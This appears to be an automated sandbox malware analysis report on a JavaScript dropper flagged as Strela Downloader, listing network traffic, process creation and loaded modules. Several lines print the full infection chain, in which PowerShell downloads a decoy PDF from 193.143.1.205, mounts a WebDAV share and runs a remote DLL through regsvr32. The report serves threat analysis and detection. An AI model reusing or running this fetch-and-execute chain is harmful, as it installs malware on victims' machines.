HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2040002193.000002041A432000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2111463399.000002966A056000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2111400218.000002966A028000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2094070973.000002966A080000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2105047086.000002966A056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2111463399.000002966A056000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2105047086.000002966A056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/rl
Source: net.exe, 00000007.00000002.2111400218.000002966A028000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tems
Source: svchost.exe, 00000009.00000002.3330215787.0000020E98C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2088283375.0000020E98A70000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6408, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 125141699249677575.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5588:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r41jxlrs.0fy.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\125141699249677575.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2168 --field-trial-handle=1740,i,5342693531046197843,1338916335047882724,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2168 --field-trial-handle=1740,i,5342693531046197843,1338916335047882724,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
